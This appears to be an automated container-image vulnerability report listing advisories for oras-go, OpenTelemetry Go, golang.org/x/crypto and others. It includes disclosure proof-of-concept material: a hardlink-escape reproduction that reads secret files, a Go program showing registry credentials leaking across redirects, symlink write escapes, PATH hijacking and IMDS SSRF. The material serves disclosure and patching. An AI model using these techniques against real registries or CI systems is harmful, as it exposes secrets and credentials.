layers[0].annotations ... (cd cwd-space && oras pull --oci-layout ../layout:v1 --output ../extract) # 4. Observe inode sharing. stat -c '%i' extract/payload.tar.gz/evil_cwd_link # → 6554160 stat -c '%i' cwd-space/victim.secret # → 6554160 (SAME) cat extract/payload.tar.gz/evil_cwd_link # → "TOP SECRET FROM CWD" Observed output: evil_cwd_link (inside extract dir): inode=6554160 victim.secret (in invoker CWD): inode=6554160 *** ESCAPE CONFIRMED *** Reading through the extract-dir hardlink yields the CWD file contents: TOP SECRET FROM CWD A library-level regression test is also provided (poc_test.go) that drops into content/file/utils_test.go and runs via go test ./content/file/... -run TestPoC — output shows identical inode match for consumers of the library API. Impact Primary: arbitrary-CWD-file read primitive. An attacker-controlled OCI artifact, when pulled by a victim using the oras CLI or any Go program using oras-go/v2/content/file, can create a hardlink inside the victim's extract tree pointing to an arbitrary file in the victim's process CWD (that the invoker UID is permitted to read). Reading the extract-tree hardlink yields that file's contents verbatim. Secondary: inode-sharing tampering primitive. Any tool that later modifies the extract-tree hardlink (write, chmod, truncate, etc.) modifies the CWD file through the shared inode. This violates the "writes inside the extract dir are confined" invariant that downstream tooling (CI systems, container-image builders, artifact scanners) typically depends on. High-severity chains: CI pipelines where oras pull runs from a project workspace containing secrets/credentials (.env, .git/config, service-account tokens). The pulled artifact can hardlink those secrets into a location later archived/mounted/published. Container orchestration where the extract dir is bind-mounted into a lower-trust container while the pull-invoker's CWD is higher-trust. Hardlinks created in the extract tree expose invoker-CWD files across the trust boundary. Kubernetes operators / Flux source-controller using oras-go to fetch artifacts; their CWD is typically / or /root — very sensitive. Multi-tenant registry proxies that use oras-go to fetch and re-serve artifacts; each proxy process has a CWD with configuration, keys, or per-tenant state. Not affected: oras push (tarball creation side): tarDirectory in the same file explicitly skips hardlink generation (line 65 comment: "We don't support hard links and treat it as regular files"), so pushed content cannot trigger this on the server. Symlink extraction path (TypeSymlink): os.Symlink stores the target string verbatim and does not CWD-resolve at creation time. The current ensureLinkPath return-of-target is correct for symlinks (the existing validation correctly models the symlink-follow path). Attack-surface boundary (fs.protected_hardlinks) On Linux with fs.protected_hardlinks=1 (default on modern distros), link(2) additionally requires the linking user to have READ + WRITE permission on the source file (per may_linkat() in the kernel). Verified on Ubuntu 24.04: as non-root, ln /etc/passwd /tmp/x returns EPERM, and the same via the oras PoC path returns link passwd /tmp/.../evil_passwd: operation not permitted. So the attacker cannot use this bug to read arbitrary root-owned files (e.g., /etc/shadow) when the victim invokes oras pull as a regular user. The attack surface depends on the invocation context: Invocation context Reachable file classes oras pull run by a regular user Any file the user OWNS or has write access to in the process CWD: .env, .git/config, .aws/credentials, ~/.ssh/config, project-local secrets, CI workspace files. oras pull run as root (systemd without User=, container entrypoint default root, Kubernetes operator) Every file on the host filesystem. /etc/shadow, /root/.ssh/id_rsa, bind-mounted host paths, service private keys. The user-context attack surface alone is sufficient for supply-chain-grade impact: CI pipelines and developer machines routinely hold API keys, signing keys, and cloud credentials in user-owned files in the working directory. The root-context escalation makes the bug Critical in mainstream Kubernetes/GitOps tooling where oras-go is adopted for artifact distribution. Proposed fix Change ensureLinkPath to expose both the verbatim target (for symlinks) and the resolved absolute path (for hardlinks); have the TypeLink case use the resolved path. // Current behavior preserved for TypeSymlink. TypeLink switches to the resolved // path to avoid CWD-resolution mismatch at os.Link time. func ensureLinkPath(baseAbs, baseRel, link, target string) (symlinkTarget, hardlinkPath string, err error) { path := target if !filepath.IsAbs(target) { path = filepath.Join(filepath.Dir(link), target) } if _, err = resolveRelToBase(baseAbs, baseRel, path); err != nil { return "", "", err } return target, path, nil } case tar.TypeLink: var absTarget string if _, absTarget, err = ensureLinkPath(dirPath, dirName, filePath, header.Linkname); err == nil { err = os.Link(absTarget, filePath) } case tar.TypeSymlink: var symTarget string symTarget, _, err = ensureLinkPath(dirPath, dirName, filePath, header.Linkname) if err != nil { return err } if err = os.Symlink(symTarget, filePath); err != nil { ... } Regression test to add: Extend Test_extractTarDirectory_HardLink with a third sub-test that: Creates a sentinel file in the test's t.TempDir() (or an explicitly os.Chdir-entered directory) with a known name, e.g. sentinel.txt. Builds a tarball containing a TypeLink entry with Linkname: "sentinel.txt" (relative). Extracts. Asserts either extractTarDirectory returned an error, OR the resulting hardlink's inode does NOT match the sentinel's inode. Exposure of Sensitive Information to an Unauthorized Actor Affected range <2.6.1 Fixed version 2.6.1 CVSS Score 6.9 CVSS Vector CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N Description ORAS Go forwards registry credentials across registry redirects Reporter / public credit: JUNYI LIU Summary ORAS Go can forward registry credentials configured for one registry origin to a different HTTP origin during registry redirects. There are two related paths: A manifest or metadata request authenticates to the origin registry, then the origin returns a redirect to another host or port. The redirected request can carry the origin Authorization header to the redirect target. A blob upload POST authenticates to the origin registry, then the origin returns an upload Location on another host or port. The follow-up PUT can carry the origin Authorization header to the Location target. The upload Location issue appears related to the existing public fix in pull request #1152 / GHSA-jxpm-75mh-9fp7. The manifest redirect path is a residual adjacent route: the v2 branch after the upload Location fix still forwards Basic credentials on an authenticated manifest redirect. Impact A registry response can cause an ORAS Go or ORAS CLI client to send configured registry credentials to an unintended endpoint. In common workflows, those credentials may come from a registry config / Docker-style auth file rather than command-line flags. This is a credential exposure across the registry-origin boundary. I am not claiming remote code execution, registry compromise, arbitrary token theft, or live third-party impact. Affected Versions Tested oras-go v2.6.0: affected. oras-go main at commit a57383e580c8f2c97fb67dedfc5c9945c8c3614e: affected. oras-go v2 branch at commit d593d504779be8b69f0ba034ac9fd407d1fc8cfc: upload Location path is blocked, but manifest redirect credential forwarding is still affected. ORAS CLI at commit 3d2646279c70ba60415440e44c2ff97896e4a209, using oras-go v2.6.0: affected when using --registry-config. Security Invariant Credentials resolved for one registry origin should not be silently forwarded to a different origin reached through a registry redirect or upload Location response. Local Reproduction Overview All testing used loopback servers and fake credentials only. Manifest redirect flow: The client requests a manifest from the origin registry. The origin returns 401 with a Basic challenge. The client retries the origin request with the origin credential. The origin returns 307 to another port on the same hostname. The redirect sink receives the origin Authorization header. ORAS CLI stored-credential flow: A temporary registry config contains a fake Basic credential for the origin registry only. Run: oras manifest fetch --plain-http --registry-config <config> <origin>/probe:latest The origin authenticates the request and redirects it to another port. The redirect sink receives the origin Authorization header. Blob upload Location flow: The client starts a blob upload with POST to the origin registry. The origin challenges with Basic and then accepts the authenticated POST. The origin returns an upload Location URL on another port. In affected versions, the follow-up PUT to the Location target carries the origin Authorization header. Expected Result Redirect and upload Location targets on a different HTTP origin should not receive the origin Authorization header. Observed Result In affected versions, redirect or Location sinks received: Authorization: Basic <base64 origin_user:origin_pass> Standalone Reproducer package main import ( "context" "encoding/json" "fmt" "net/http" "net/http/httptest" "os" "sync" "github.com/opencontainers/go-digest" "github.com/oras-project/oras-go/v3/registry/remote" "github.com/oras-project/oras-go/v3/registry/remote/auth" "github.com/oras-project/oras-go/v3/registry/remote/credentials" ) type hit struct { Method string `json:"method"` Path string `json:"path"` Host string `json:"host"` Auth string `json:"auth,omitempty"` } func main() { const username = "origin_user" const password = "origin_pass" const expectedAuth = "Basic b3JpZ2luX3VzZXI6b3JpZ2luX3Bhc3M=" var mu sync.Mutex var originHits, sinkHits []hit record := func(dst *[]hit, r *http.Request) { mu.Lock() defer mu.Unlock() *dst = append(*dst, hit{ Method: r.Method, Path: r.URL.RequestURI(), Host: r.Host, Auth: r.Header.Get("Authorization"), }) } manifest := []byte(`{"schemaVersion":2,"mediaType":"application/vnd.oci.image.manifest.v1+json","config":{"mediaType":"application/vnd.unknown.config.v1+json","digest":"sha256:44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a","size":2},"layers":[]}`) manifestDigest := digest.FromBytes(manifest).String() sink := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { record(&sinkHits, r) if r.Header.Get("Authorization") != expectedAuth { w.Header().Set("Www-Authenticate", `Basic realm="redirect-sink"`) w.WriteHeader(http.StatusUnauthorized) return } w.Header().Set("Content-Type", "application/vnd.oci.image.manifest.v1+json") w.Header().Set("Docker-Content-Digest", manifestDigest) w.Header().Set("Content-Length", fmt.Sprint(len(manifest))) _, _ = w.Write(manifest) })) defer sink.Close() origin := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { record(&originHits, r) if r.Header.Get("Authorization") != expectedAuth { w.Header().Set("Www-Authenticate", `Basic realm="origin"`) w.WriteHeader(http.StatusUnauthorized) return } http.Redirect(w, r, sink.URL+r.URL.RequestURI(), http.StatusTemporaryRedirect) })) defer origin.Close() repo, err := remote.NewRepository(origin.Listener.Addr().String() + "/probe") if err != nil { panic(err) } repo.PlainHTTP = true repo.Client = &auth.Client{ Client: origin.Client(), CredentialFunc: credentials.StaticCredentialFunc(origin.Listener.Addr().String(), credentials.Credential{ Username: username, Password: password, }), } _, _, err = repo.Manifests().FetchReference(context.Background(), "latest") leaked := false for _, h := range sinkHits { if h.Auth == expectedAuth { leaked = true } } result := map[string]any{ "origin_hits": originHits, "sink_hits": sinkHits, "error": "", "leaked": leaked, } if err != nil { result["error"] = err.Error() } encoded, _ := json.MarshalIndent(result, "", " ") fmt.Println(string(encoded)) if leaked { fmt.Println("VULNERABLE_BEHAVIOR_CONFIRMED") return } fmt.Println("BOUNDARY_HELD_NO_CREDENTIAL_LEAK") os.Exit(1) } Candidate Fix The candidate fix does two things: In the auth client, wrap redirect handling so Authorization is removed when a redirect changes HTTP origin, while preserving any caller-provided CheckRedirect callback. In blob upload completion, only reuse the previous POST Authorization header when the upload Location remains on the same HTTP origin. The patch also adds regression coverage for both redirect cases: redirect before origin authentication reaches a different origin; redirect after origin authentication reaches a different origin. diff --git a/registry/remote/auth/client.go b/registry/remote/auth/client.go index 35826eb..60c9f88 100644 --- a/registry/remote/auth/client.go +++ b/registry/remote/auth/client.go @@ -122,7 +122,23 @@ func (c *Client) send(req *http.Request) (*http.Response, error) { for key, values := range c.Header { req.Header[key] = append(req.Header[key], values...) } - return c.client().Do(req) + client := c.client() + clientCopy := *client + checkRedirect := client.CheckRedirect + clientCopy.CheckRedirect = func(redirectReq *http.Request, via []*http.Request) error { + if len(via) > 0 && !sameHTTPOrigin(via[len(via)-1].URL, redirectReq.URL) { + redirectReq.Header.Del(headerAuthorization) + } + if checkRedirect != nil { + return checkRedirect(redirectReq, via) + } + return nil + } + return clientCopy.Do(req) +} + +func sameHTTPOrigin(a, b *url.URL) bool { + return strings.EqualFold(a.Scheme, b.Scheme) && strings.EqualFold(a.Host, b.Host) } // credential resolves the credential for the given registry. @@ -168,6 +184,9 @@ func (c *Client) Do(originalReq *http.Request) (*http.Response, error) { var attemptedKey string cache := c.cache() host := originalReq.Host + if host == "" { + host = originalReq.URL.Host + } scheme, err := cache.GetScheme(ctx, host) if err == nil { switch scheme { @@ -193,6 +212,13 @@ func (c *Client) Do(originalReq *http.Request) (*http.Response, error) { if resp.StatusCode != http.StatusUnauthorized { return resp, nil } + respHost := resp.Request.Host + if respHost == "" { + respHost = resp.Request.URL.Host + } + if respHost != host { + return resp, nil + } // attempt again with credentials for recognized schemes challenge := resp.Header.Get(headerWWWAuthenticate) diff --git a/registry/remote/repository.go b/registry/remote/repository.go index 74d6b89..0bd20ec 100644 --- a/registry/remote/repository.go +++ b/registry/remote/repository.go @@ -982,6 +983,7 @@ func (s *blobStore) Push(ctx context.Context, expected ocispec.Descriptor, conte // Push or by Mount when the receiving repository does not implement the // mount endpoint. func (s *blobStore) completePushAfterInitialPost(ctx context.Context, req *http.Request, resp *http.Response, expected ocispec.Descriptor, content io.Reader) error { + originalURL := req.URL reqHostname := req.URL.Hostname() reqPort := req.URL.Port() // monolithic upload @@ -1016,8 +1018,9 @@ func (s *blobStore) completePushAfterInitialPost(ctx context.Context, req *http. q.Set("digest", expected.Digest.String()) req.URL.RawQuery = q.Encode() - // reuse credential from previous POST request - if auth := resp.Request.Header.Get("Authorization"); auth != "" { + // reuse credential from previous POST request only when the upload location + // remains on the same origin. + if auth := resp.Request.Header.Get("Authorization"); auth != "" && sameHTTPOrigin(originalURL, location) { req.Header.Set("Authorization", auth) } resp, err = s.repo.do(req) @@ -1032,6 +1035,10 @@ func (s *blobStore) completePushAfterInitialPost(ctx context.Context, req *http. return nil } +func sameHTTPOrigin(a, b *url.URL) bool { + return strings.EqualFold(a.Scheme, b.Scheme) && strings.EqualFold(a.Host, b.Host) +} + // Exists returns true if the described content exists. func (s *blobStore) Exists(ctx context.Context, target ocispec.Descriptor) (bool, error) { if err := s.repo.checkPolicy(ctx, ""); err != nil { Validation Performed The repaired candidate fix blocked: manifest redirect credential forwarding; upload Location credential forwarding. Targeted tests passed: go test ./registry/remote/auth -run 'TestClient_Do_Basic_Auth_Redirect|TestClient_Do' -count=1 go test ./registry/remote -run 'Test_BlobStore_Push|TestRepository' -count=1 Prior Art / Duplicate Notes Public pull request #1152 fixes credential forwarding via unvalidated blob upload Location and references GHSA-jxpm-75mh-9fp7. The residual manifest redirect path described here is adjacent but not covered by that PR's stated upload Location scope. Bearer realm credential exfiltration appears to be a separate issue family and is not part of this report's primary claim. Claim Boundaries Proven: Origin registry Basic credentials can reach a different redirect or upload Location origin in local loopback tests. ORAS CLI stored registry credentials can reach a redirect sink in a normal manifest fetch workflow. The candidate fix blocks the tested redirect and upload Location credential exposures. Not claimed: Live third-party exploitation. RCE, host compromise, or registry compromise. Arbitrary-host exposure beyond the tested redirect/Location origin transitions. Bearer realm behavior as part of the same claim. External Control of File Name or Path Affected range <2.6.1 Fixed version 2.6.1 CVSS Score 6.9 CVSS Vector CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N Description The file content store in oras-go attempts to confine writes to workingDir when AllowPathTraversalOnWrite=false, but the guard is lexical and does not account for symlink traversal. If workingDir contains a symlink path component and an attacker-controlled blob title (via ocispec.AnnotationTitle) targets a path under that symlink, pushFile() can create a file outside workingDir. relevant links repository: https://github.com/oras-project/oras-go commit: 03243809936cce826494b5506f724c6dc11115b1 callsite: content/file/file.go:609 resolveWritePath() (used by pushFile()) vulnerability details pins: oras-project/oras-go@0324380 as-of: 2026-02-17 policy: GitHub Security Advisory (oras-project/oras-go) callsite: content/file/file.go:609 resolveWritePath() → pushFile() attacker control: Attacker controls the pushed name (ocispec.AnnotationTitle) and can select a path with a symlink path component under workingDir → resolveWritePath() blocks .. via filepath.Rel but does not prevent symlink traversal → pushFile() opens/creates the final path and follows the symlink → a file is created outside workingDir root cause resolveWritePath() enforces the write boundary using a filepath.Rel-style check against workingDir. This prevents ../ escapes but is purely lexical and does not resolve symlinks. If a path component under workingDir is a symlink to an external location, the subsequent filesystem operation in pushFile() follows that symlink and performs the write outside workingDir while still passing the lexical boundary check. attack path Attacker provides a blob title (via ocispec.AnnotationTitle) that contains a path like out/pwn.txt. Victim uses oras-go file store with AllowPathTraversalOnWrite=false and a workingDir that contains a symlink directory out -> /some/outside/dir. The lexical boundary check accepts out/pwn.txt as being under workingDir. The write follows the symlink and creates /some/outside/dir/pwn.txt. impact This is a filesystem boundary bypass that permits writes outside workingDir when a symlink path component exists under workingDir. The concrete security impact depends on the runtime environment (what filesystem locations are writable by the process and what downstream consumers do with the written file), but the intended confinement guarantee is violated. proof of concept the attached poc.zip contains a small, self-contained go harness that demonstrates: canonical (vulnerable): prints [CALLSITE_HIT] and [PROOF_MARKER] and shows the file is created outside workingDir control (no symlink component): prints [NC_MARKER] and confirms no outside write occurs run: unzip -q -o poc.zip -d /tmp cd /tmp/poc-F-ORAS-SYMLINK-WRITE-001 make test expected: when AllowPathTraversalOnWrite=false, file store writes should not be able to escape workingDir, including via symlink traversal. actual: A symlink path component under workingDir allows writes to escape workingDir even when AllowPathTraversalOnWrite=false. recommended fix ensure confinement checks account for symlink traversal. Options include rejecting symlinks in any path component (walk components with os.Lstat), validating the resolved parent directory via EvalSymlinks and enforcing it remains under the resolved workingDir, or using an openat()-style approach so the check and open happen relative to a trusted directory file descriptor. fix accepted when: The canonical PoC no longer prints [PROOF_MARKER] for the same attacker-controlled inputs. cheers, Oleh Cleartext Transmission of Sensitive Information Affected range <2.6.1 Fixed version 2.6.1 CVSS Score 2.1 CVSS Vector CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:A/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N Description Summary oras-go's auth.Client follows the realm URL from a registry's WWW-Authenticate: Bearer challenge without validating its scheme or host. The realm field is server-controlled by design in the OCI/distribution spec — registries legitimately point token requests at a separate auth endpoint (e.g. Docker Hub's registry-1.docker.io -> auth.docker.io), so cross-host realms on public DNS names are not in themselves a vulnerability. Two specific patterns, however, are never legitimate under any registry trust model and can be abused by a malicious or compromised registry (or a man-in-the-middle on a plaintext connection): SSRF to internal networks. A realm of http://169.254.169.254/... (AWS/Azure IMDS), http://10.0.0.x/... (RFC 1918), or http://127.0.0.1/... causes oras-go running on a cloud VM or corporate workstation to issue outbound HTTP requests from inside the user's trust boundary to an endpoint the user did not choose. The user's stored credentials are attached to those requests, but the principal harm is the network primitive — probing internal endpoints from the client. On IMDSv1 the response body is recoverable from log channels; on IMDSv2 the probe itself can still be used for service discovery. TLS downgrade. A registry contacted over https:// can return a realm with an http:// scheme, causing oras-go to send the user's credentials over plaintext to the token endpoint. This defeats the transport security the user chose when typing https://. What is NOT claimed This advisory does not claim that credential forwarding to an arbitrary public attacker host through a server-controlled realm is, on its own, a vulnerability. The distribution spec defines realm as a server-controlled field; a strict same-host or same-eTLD+1 enforcement would deviate from the spec and break legitimate split-host deployments. Operators who want defense-in-depth against cross-host realm forwarding can use the opt-in Client.TrustedRealmHosts allowlist (added separately). Affected versions oras.land/oras-go/v2 <= v2.6.0 Severity Medium. Network attack vector, low complexity, no privileges required, user interaction required (victim runs an oras command against the malicious or MITM'd registry), unchanged scope. Confidentiality impact is limited — IMDS probe responses can disclose information, and TLS downgrade exposes the realm request to passive observers — but the attacker does not obtain credentials beyond what the malicious endpoint already controls. Affected code registry/remote/auth/client.go — Client.Do() (bearer challenge handling) registry/remote/auth/client.go — Client.fetchBearerToken() / fetchDistributionToken / fetchOAuth2Token The realm parameter from parseChallenge is threaded through to http.NewRequestWithContext without scheme or host validation. CWE CWE-918: Server-Side Request Forgery (SSRF) CWE-319: Cleartext Transmission of Sensitive Information Patch registry/remote/auth/client.go now rejects realm URLs that: use a scheme other than http or https use http when the registry was contacted over https (TLS downgrade) use an IP literal in a loopback, link-local, private, or unspecified range, unless the registry itself was reached at the same hostname (so loopback / in-cluster deployments are unaffected) Cross-host realms on public DNS names continue to be accepted. Credit Reported by bugbunny.ai.

go.opentelemetry.io/otel/sdk 1.42.0 (golang) pkg:golang/go.opentelemetry.io/otel/sdk@1.42.0 Untrusted Search Path Affected range >=1.15.0 <=1.42.0 Fixed version 1.43.0 CVSS Score 7.3 CVSS Vector CVSS:4.0/AV:L/AC:H/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N EPSS Score 0.220% EPSS Percentile 12th percentile Description Summary The fix for GHSA-9h8m-3fm2-qjrq (CVE-2026-24051) changed the Darwin ioreg command to use an absolute path but left the BSD kenv command using a bare name, allowing the same PATH hijacking attack on BSD and Solaris platforms. Root Cause sdk/resource/host_id.go line 42: if result, err := r.execCommand("kenv", "-q", "smbios.system.uuid"); err == nil { Compare with the fixed Darwin path at line 58: result, err := r.execCommand("/usr/sbin/ioreg", "-rd1", "-c", "IOPlatformExpertDevice") The execCommand helper at sdk/resource/host_id_exec.go uses exec.Command(name, arg...) which searches $PATH when the command name contains no path separator. Affected platforms (per build tag in host_id_bsd.go:4): DragonFly BSD, FreeBSD, NetBSD, OpenBSD, Solaris. The kenv path is reached when /etc/hostid does not exist (line 38-40), which is common on FreeBSD systems. Attack Attacker has local access to a system running a Go application that imports go.opentelemetry.io/otel/sdk Attacker places a malicious kenv binary earlier in $PATH Application initializes OpenTelemetry resource detection at startup hostIDReaderBSD.read() calls exec.Command("kenv", ...) which resolves to the malicious binary Arbitrary code executes in the context of the application Same attack vector and impact as CVE-2026-24051. Suggested Fix Use the absolute path: if result, err := r.execCommand("/bin/kenv", "-q", "smbios.system.uuid"); err == nil { On FreeBSD, kenv is located at /bin/kenv.

busybox 1.37.0-r20 (apk) pkg:apk/alpine/busybox@1.37.0-r20?os_name=alpine&os_version=3.22 Affected range <=1.37.0-r20 Fixed version Not Fixed EPSS Score 0.258% EPSS Percentile 17th percentile Description

util-linux 2.41-r9 (apk) pkg:apk/alpine/util-linux@2.41-r9?os_name=alpine&os_version=3.22 Affected range <=2.41-r9 Fixed version Not Fixed EPSS Score 0.118% EPSS Percentile 2nd percentile Description

go.opentelemetry.io/otel/exporters/otlp/otlptrace/otlptracehttp 1.42.0 (golang) pkg:golang/go.opentelemetry.io/otel/exporters/otlp/otlptrace/otlptracehttp@1.42.0 Memory Allocation with Excessive Size Value Affected range <1.43.0 Fixed version 1.43.0 CVSS Score 5.3 CVSS Vector CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H EPSS Score 0.190% EPSS Percentile 9th percentile Description overview: this report shows that the otlp HTTP exporters (traces/metrics/logs) read the full HTTP response body into an in-memory bytes.Buffer without a size cap. this is exploitable for memory exhaustion when the configured collector endpoint is attacker-controlled (or a network attacker can mitm the exporter connection). severity HIGH not claiming: this is a remote dos against every default deployment. claiming: if the exporter sends traces to an untrusted collector endpoint (or over a network segment where mitm is realistic), that endpoint can crash the process via a large response body. callsite (pinned): exporters/otlp/otlptrace/otlptracehttp/client.go:199 exporters/otlp/otlptrace/otlptracehttp/client.go:230 exporters/otlp/otlpmetric/otlpmetrichttp/client.go:170 exporters/otlp/otlpmetric/otlpmetrichttp/client.go:201 exporters/otlp/otlplog/otlploghttp/client.go:190 exporters/otlp/otlplog/otlploghttp/client.go:221 permalinks (pinned): https://github.com/open-telemetry/opentelemetry-go/blob/248da958375e4dfb4a1105645107be3ef04b1c59/exporters/otlp/otlptrace/otlptracehttp/client.go#L199 https://github.com/open-telemetry/opentelemetry-go/blob/248da958375e4dfb4a1105645107be3ef04b1c59/exporters/otlp/otlptrace/otlptracehttp/client.go#L230 https://github.com/open-telemetry/opentelemetry-go/blob/248da958375e4dfb4a1105645107be3ef04b1c59/exporters/otlp/otlpmetric/otlpmetrichttp/client.go#L170 https://github.com/open-telemetry/opentelemetry-go/blob/248da958375e4dfb4a1105645107be3ef04b1c59/exporters/otlp/otlpmetric/otlpmetrichttp/client.go#L201 https://github.com/open-telemetry/opentelemetry-go/blob/248da958375e4dfb4a1105645107be3ef04b1c59/exporters/otlp/otlplog/otlploghttp/client.go#L190 https://github.com/open-telemetry/opentelemetry-go/blob/248da958375e4dfb4a1105645107be3ef04b1c59/exporters/otlp/otlplog/otlploghttp/client.go#L221 root cause: each exporter client reads resp.Body using io.Copy(&respData, resp.Body) into a bytes.Buffer on both success and error paths, with no upper bound. impact: a malicious collector can force large transient heap allocations during export (peak memory scales with attacker-chosen response size) and can potentially crash the instrumented process (oom). affected component: go.opentelemetry.io/otel/exporters/otlp/otlptrace/otlptracehttp go.opentelemetry.io/otel/exporters/otlp/otlpmetric/otlpmetrichttp go.opentelemetry.io/otel/exporters/otlp/otlplog/otlploghttp repro (local-only): unzip poc.zip -d poc cd poc make canonical resp_bytes=33554432 chunk_delay_ms=0 expected output contains: [CALLSITE_HIT]: otlptracehttp.UploadTraces::io.Copy(resp.Body) [PROOF_MARKER]: resp_bytes=33554432 peak_alloc_bytes=118050512 control (same env, patched target): unzip poc.zip -d poc cd poc make control resp_bytes=33554432 chunk_delay_ms=0 expected control output contains: [CALLSITE_HIT]: otlptracehttp.UploadTraces::io.Copy(resp.Body) [NC_MARKER]: resp_bytes=33554432 peak_alloc_bytes=512232 attachments: poc.zip (attached) PR_DESCRIPTION.md attack_scenario.md poc.zip Fixed in: open-telemetry/opentelemetry-go#8108

sqlparse 0.5.0 (pypi) pkg:pypi/sqlparse@0.5.0 Allocation of Resources Without Limits or Throttling Affected range <=0.5.3 Fixed version 0.5.4 CVSS Score 6.9 CVSS Vector CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N Description Summary The below gist hangs while attempting to format a long list of tuples. This was found while drafting a regression test for Dja ngo 5.2's composite primary key feature, which allows querying composite fields with tuples.

golang.org/x/sys 0.42.0 (golang) pkg:golang/golang.org/x/sys@0.42.0 Affected range <0.44.0 Fixed version 0.44.0 EPSS Score 0.114% EPSS Percentile 2nd percentile Description NewNTUnicodeString does not check for string length overflow. When provided with a string that overflows the maximum size of a NTUnicodeString (a 16-bit number of bytes), it returns a truncated string rather than an error.

[github-actions]

🔍 Vulnerabilities of permitio/pdp-v2:next

📦 Image Reference permitio/pdp-v2:next

digest	sha256:bab83ded2e9540857e25a50ab5ff6b0b64886ea4dabf623fa9f1d765f39df145
vulnerabilities
platform	linux/amd64
size	218 MB
packages	250

📦 Base Image python:3.10-alpine3.22

also known as	3.10.20-alpine3.22
digest	sha256:c8f94b3bb77e6ea9015ccd091b7f8aec1b1fcbca95159675235d9a93788797cd
vulnerabilities

golang.org/x/crypto 0.49.0 (golang) pkg:golang/golang.org/x/crypto@0.49.0 Affected range <0.52.0 Fixed version 0.52.0 EPSS Score 0.440% EPSS Percentile 35th percentile Description Previously, CVE-2024-45337 fixed an authorization bypass for misused ssh server configurations; if any other type of callback is passed other than public key, then the source-address validation would be skipped. Affected range <0.52.0 Fixed version 0.52.0 EPSS Score 0.469% EPSS Percentile 37th percentile Description Previously, a revoked 'SignatureKey' belonging to a CA was not correctly checked for revocation. Now, both the 'key' and 'key.SignatureKey' are checked for @Revoked. Affected range <0.52.0 Fixed version 0.52.0 EPSS Score 0.466% EPSS Percentile 37th percentile Description When writing data larger than 4GB in a single Write call on an SSH channel, an integer overflow in the internal payload size calculation caused the write loop to spin indefinitely, sending empty packets without making progress. The size comparison now uses int64 to prevent truncation. Affected range <0.52.0 Fixed version 0.52.0 EPSS Score 0.360% EPSS Percentile 28th percentile Description The in-memory keyring returned by NewKeyring() silently accepted keys with the ConfirmBeforeUse constraint but never enforced it. The key would sign without any confirmation prompt, with no indication to the caller that the constraint was not in effect. NewKeyring() now returns an error when unsupported constraints are requested. Affected range <0.52.0 Fixed version 0.52.0 EPSS Score 0.338% EPSS Percentile 26th percentile Description When adding a key to a remote agent constraint extensions such as restrict-destination-v00@openssh.com were not serialized in the request. Destination restrictions were silently stripped when forwarding keys, allowing unrestricted use of the key on the remote host. The client now serializes all constraint extensions. Additionally, the in-memory keyring returned by NewKeyring() now rejects keys with unsupported constraint extensions instead of silently ignoring them. Affected range <0.52.0 Fixed version 0.52.0 EPSS Score 0.373% EPSS Percentile 29th percentile Description The Verify() method for FIDO/U2F security key types (sk-ecdsa-sha2-nistp256@openssh.com, sk-ssh-ed25519@openssh.com) did not check the User Presence flag. Signatures generated without physical touch were accepted, allowing unattended use of a hardware security key. To restore the previous behavior, return a "no-touch-required" extension in Permissions.Extensions from PublicKeyCallback. Affected range <0.52.0 Fixed version 0.52.0 EPSS Score 0.500% EPSS Percentile 39th percentile Description A malicious SSH peer could send unsolicited global request responses to fill an internal buffer, blocking the connection's read loop. The blocked goroutine could not be released by calling Close(), resulting in a resource leak per connection. Unsolicited global responses are now discarded. Affected range <0.52.0 Fixed version 0.52.0 EPSS Score 0.359% EPSS Percentile 28th percentile Description An incorrectly placed cast from bytes to int allowed for server-side panic in the AES-GCM packet decoder for well-crafted inputs. Affected range <0.52.0 Fixed version 0.52.0 EPSS Score 0.400% EPSS Percentile 32nd percentile Description The RSA and DSA public key parsers did not enforce size limits on key parameters. A crafted public key with an excessively large modulus or DSA parameter could cause several minutes of CPU consumption during signature verification. This could be triggered by unauthenticated clients during public key authentication. RSA moduli are now limited to 8192 bits, and DSA parameters are validated per FIPS 186-2.

golang.org/x/net 0.52.0 (golang) pkg:golang/golang.org/x/net@0.52.0 Affected range <0.55.0 Fixed version 0.55.0 EPSS Score 0.478% EPSS Percentile 38th percentile Description The ToASCII and ToUnicode functions incorrectly accept Punycode-encoded labels that decode to an ASCII-only label. For example, ToUnicode("xn--example-.com") incorrectly returns the name "example.com" rather than an error. This behavior can lead to privilege escalation in programs using the idna package. For example, a program which performs privilege checks on the ASCII hostname may reject "example.com" but permit "xn--example-.com". If that program subsequently converts the ASCII hostname to Unicode, it will inadvertently permits access to the Unicode name "example.com". Affected range <0.53.0 Fixed version 0.53.0 EPSS Score 0.781% EPSS Percentile 52nd percentile Description When processing HTTP/2 SETTINGS frames, transport will enter an infinite loop of writing CONTINUATION frames if it receives a SETTINGS_MAX_FRAME_SIZE with a value of 0.

